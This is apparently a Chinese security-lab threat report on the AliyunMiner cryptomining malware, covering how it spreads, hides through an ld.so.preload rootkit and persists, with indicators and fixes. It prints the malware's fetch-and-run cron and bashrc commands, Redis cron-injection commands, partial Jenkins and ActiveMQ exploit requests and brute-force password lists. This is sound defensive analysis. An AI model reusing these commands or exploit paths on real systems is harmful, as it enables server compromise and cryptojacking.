近期,深信服安全团队捕获到Rocke Group黑产团伙运营的新挖矿病毒,该病毒通过ssh爆破、ssh免密登录、redis未授权访问漏洞以及redis弱密码爆破、jenkins远程代码执行漏洞以及jenkins弱口令爆破和ActiveMQ远程代码执行漏洞进行传播的挖矿病毒。深信服安全团队对该挖矿木马进行了详细的技术分析,并根据其传播域名特征将其命名为AliyunMiner。
机器上存在恶意的定时任务/var/spool/cron/crontabs/root
存在恶意启动项sshservice
/etc/crontab以及/etc/bashrc中被写入恶意命令
命令进行访问,可以看到aliyun.one页面上放置了恶意的代码(手动访问会跳转到阿里云官网)
github.com/hippies/LSD/LSDA——病毒相关配置初始化
github.com/hippies/LSD/LSDB——文件释放
github.com/hippies/LSD/LSDC——Linux权限维持
github.com/hippies/LSD/LSDD——攻击与传播包
Main——攻击入口点
该劫持库源代码被gzip格式压缩打包在病毒文件中,32位程序这里可以使用binwalk进行提取,64位手动提取。
gcc /usr/local/lib/%s.c -Wall -shared -fPIC -ldl -o /usr/local/lib/%s.so
将该so路径写入/etc/ld.so.preload文件,实现libc预加载,达到劫持的目的。该so主要劫持函数如下表
函数名称 |
函数功能 |
forge_proc_net_tcp |
伪造进程网络连接状态,屏蔽443,8161,8080,6379,22等端口 |
forge_proc_cpu |
伪造进程CPU状态 |
access |
文件访问劫持 |
open |
|
fopen |
|
fopen64 |
|
lstat |
|
lstat64 |
|
lxstat |
|
lxstat64 |
|
xstat |
|
xstat64 |
文件访问劫持 |
stat |
|
stat64 |
|
unlink |
|
unlinkat |
|
opendir |
|
readdir |
|
readdir64 |
|
rmdir |
释放服务bash模板文件到/etc/init.d/sshservice,该bash文同样被gzip格式压缩打包在病毒文件中,创建sshservice系统服务
释放Systemd配置文件到以下三个目录,创建sshservice的Systemd服务
/usr/lib/systemd/system/sshservice.service |
/lib/systemd/system/sshservice.service |
/etc/systemd/system/sshservice.service |
挖矿程序同样也被gzip压缩打包在病毒中,按顺序解压并释放到以下其中一个目录,运行后删除自身文件
1 /Usr/local/sbin |
2 /Usr/local/bin |
3 /usr/bin |
4 /usr/lib/exec |
5 /tmp |
6 ./ |
从其配置文件可以看出,该挖矿病毒进行门罗币挖矿,并且其使用了两中连接方式,一种是代理矿池,另一种是直接连接矿池进行挖矿。
目前该矿池总共收益2.7个币
cron.iap5u1rbety6vifaxsi9vovnc9jjay2l.com |
aliyun.one |
向/etc/hosts文件中写入对应的IP-域名对,实现屏蔽。这里针对的主要是web2tor节点以及对应的一些矿池
屏蔽地址 |
域名 |
0.0.0.0 |
pastebin.com |
0.0.0.0 |
nicehash.com |
0.0.0.0 |
f2pool.com |
0.0.0.0 |
onion.to |
0.0.0.0 |
onion.glass |
0.0.0.0 |
onion.ly |
0.0.0.0 |
onion.pet |
0.0.0.0 |
tor2web.fyi |
0.0.0.0 |
onion.in.net |
0.0.0.0 |
ponion.mn |
0.0.0.0 |
d2web.org |
动作 |
命令 |
执行 |
*/15 * * * * (curl -fsSL -m180 %s||wget -q -T180 -O- %s||python -c 'import urllib;print(urllib.urlopen("http://%s").read())')|sh |
写入/etc/cron.d/root文件 |
*/10 * * * * root (curl -fsSL -m180 %s||wget -q -T180 -O- %s||python -c 'import urllib;print(urllib.urlopen("http://%s").read())')|sh |
写入/var/spool/cron/root |
*/15 * * * * (curl -fsSL -m180 %s||wget -q -T180 -O- %s||python -c 'import urllib;print(urllib.urlopen("http://%s").read())')|sh |
写入/var/spool/cron/crontabs/root |
*/30 * * * * (curl -fsSL -m180 %s||wget -q -T180 -O- %s||python -c 'import urllib;print(urllib.urlopen("http://%s").read())')|sh |
写入/etc/bashrc |
##(curl -fsSL -m180 %s||wget -q -T180 -O- %s||python -c 'import urllib;exec(urllib.urlopen("http://%s/pygo").read())')|sh >/dev/null 2>&1 &## |
污染的bashrc,执行的pygo文件为python文件
利用ssh爆破实现自身的传播,用到了1000个密码对root账户进行爆破,下表只列出部分密码
123456 |
123456789 |
1234567 |
abc123 |
696969 |
password |
12345 |
dragon |
football |
shadow |
12345678 |
1234 |
123123 |
monkey |
master |
qwerty |
111111 |
baseball |
letmein |
666666 |
利用Redis未授权访问、 Redis弱口令爆破,将恶意bash写入定时任务文件,实现感染
123456 |
admin |
121212 |
ginger |
lakers |
amanda |
zaq1zaq1 |
test |
welcome |
bailey |
letmein |
andrea |
1990 |
test |
test123 |
666666 |
freedom |
abcdef |
1qaz2wsx |
jennifer |
hockey |
redis123 |
abc123 |
shadow |
solo |
starwars |
banana |
dallas |
redis |
football |
passw0rd |
jordan |
ferrari |
chelsea |
whatever |
password |
123123 |
baseball |
55555 |
cheese |
ranger |
admin123 |
123456789 |
monkey |
buster |
tigger |
computer |
1991 |
pussy |
12345678 |
654321 |
daniel |
joshua |
corvette |
trustno1 |
liverpool |
12345 |
!@#$%^&* |
hannah |
pepper |
mercedes |
merlin |
querty |
111111 |
charlie |
thomas |
sophie |
blahblah |
cookie |
william |
1234567 |
aa123456 |
summer |
1234 |
maverick |
ashley |
soccer |
sunshine |
donald |
george |
robert |
hello |
bandit |
london |
qwerty |
password1 |
harley |
matthew |
nicole |
killer |
1992 |
iloveyou |
qwerty123 |
222222 |
12341234 |
hunter |
aaaaaa |
biteme |
princess |
zxcvbnm |
jessica |
andrew |
1989 |
1q2w3e |
爆破成功,设置redis数据库数据
set dbfilename root |
set dir /etc/cron.d/ |
set dir /var/spool/cron |
set dir /var/spool/cron/crontabs |
set dir /etc |
set dbfilename crontab |
写入如下恶意bash数据到定时文件
*/10 * * * * root curl -fsSL %s|sh |
*/15 * * * * root wget -q -O- %s|sh |
*/15 * * * * root python -c 'import urllib;print(urllib.urlopen("http://%s").read())'|sh |
*/10 * * * * curl -fsSL %s|sh |
*/15 * * * * wget -q -O- %s|sh |
*/15 * * * * python -c 'import urllib;print(urllib.urlopen("http://%s").read())'|sh |
利用Jenkins远程代码执行漏洞实现感染
漏洞编号 |
利用代码 |
CVE-2019-1003000 |
/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27Lsdup%27,%20root=%27http:// |
CVE-2018-1000861 |
/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=import+groovy.transform.*%0a%40ASTTest(value%3d%7b+%22bash+-c+{echo, |
/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=import+groovy.transform.*%0a%40ASTTest(value%3d%7bassert+java.lang.Runtime.getRuntime().exec(%22bash+-c+{echo, |
|
/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x{public%20x(){new%20String(%22bash+-c+{echo, |
对Jenkins进行弱密码爆破实现感染,仅列出部分密码对
admin admin admanager admin admin ADMIN ADMIN admin adrole1 admin adroot admin ads3cret admin adtomcat admin advagrant admin password |
admin password1 admin Password1 admin tomcat admin vagrant both admanager both admin both adrole1 both adroot both ads3cret both adtomcat |
ActiveMQ任意文件写入漏洞(CVE-2016-3088),本次样本中其会将文件上传并且移动到Linux定时任务文件,实现感染
上传路径 |
移动路径 |
hxxp://x.x.x.x:8161/fileserver/go1.txt |
file:///etc/cron.d/root |
hxxp://x.x.x.x:8161/fileserver/go2.txt |
file:///var/spool/cron/root |
hxxp://x.x.x.x:8161/fileserver/go2.txt |
file:///var/spool/cron/crontabs/root |
通过aliyun.one可以关联到systemten.org域名
systemten.org在之前已经被指出为kerberods挖矿病毒,通过对kerberods的感染方式,权限维持等方式进行对比,可以确认本次的aliyun.one与kerberods挖矿家族为同一个团体在运营。该团队在之前被Unit42团队披露为Rocke Group黑产团伙。
/ |
Kerberods |
aliyun.one |
载荷传递 |
载荷使用pastebin传递 |
载荷使用自身域名以及第三方图床传递 |
Rootkit |
/usr/local/lib/xxx.c |
/usr/local/lib/xxx.c |
感染方式 |
利用ssh, redis, jenkins,Confluence传播 |
利用ssh, redis, jenkins, ActiveMQ |
1、ssh弱口令爆破
2、ssh免密登录
3、redis未授权访问漏洞
4、redis弱口令爆破
5、Jenkins弱口令爆破
6、Jenkins远程代码执行漏洞(CVE-2018-1000861、CVE-2019-1003000)
7、ActiveMQ任意文件写入漏洞(CVE-2016-3088)
1、更改密码为强密码,密码每个机器不同
2、ssh免密登录要严格控制机器
3、加强redis防护,开启redis的密码验证,且密码更换未强密码
4、检测是否存在Jenkins弱密码,修改密码未强密码
5、检测是否存在jenkins远程代码执行漏洞并进行修复
6、检测是否存在ActiveMQ任意文件写漏洞。
7、检测是否存在Confluence未授权访问漏洞(CVE-2019-3396)
F81137FF4ED563101B3ACB8185CF16D5AF89C9E5
52AA4166F256495250C9191670DB258794059277
update.iap5u1rbety6vifaxsi9vovnc9jjay2l.com
x64.iap5u1rbety6vifaxsi9vovnc9jjay2l.com
cron.iap5u1rbety6vifaxsi9vovnc9jjay2l.com
aliyun.one
pool.supportxmr.com
sg.minexmr.com
iap5u1rbety6vifaxsi9vovnc9jjay2l.com
img.sobot.com/chatres/89/msg/20191225/1/ec0991da601e45c4b0bb6178da5f0cc4.png
img.sobot.com/chatres/89/msg/20191225/1/50659157a100466a88fed550423a38ee.png
cdn.xiaoduoai.com/cvd/dist/fileUpload/1577269944760/2.637890910155951.png
cdn.xiaoduoai.com/cvd/dist/fileUpload/1577269966297/8.872362655092918.png
https://user-images.githubusercontent.com/56861392/71443284-08acf200-2745-11ea-8ef3-509d9072d970.png
https://user-images.githubusercontent.com/56861392/71443285-08acf200-2745-11ea-96c3-0c2be9135085.png
钱包地址:
48tKyhLzJvmfpaZjeEh2rmWSxbFqg7jNzPvQbLgueAc6avfKVrJFnyAMBuTn9ZeG4A3Gfww512YNZB9Tvaf52aVbPHpJFXT
Ref:
https://v2ex.com/t/624351
https://www.f5.com/labs/articles/threat-intelligence/vulnerabilities--exploits--and-malware-driving-attack-campaigns-in-december-2019
https://blog.trendmicro.com/trendlabs-security-intelligence/cve-2019-3396-redux-confluence-vulnerability-exploited-to-deliver-cryptocurrency-miner-with-rootkit/
https://unit42.paloaltonetworks.com/rockein-the-netflow/
本文作者: 深信服千里目安全实验室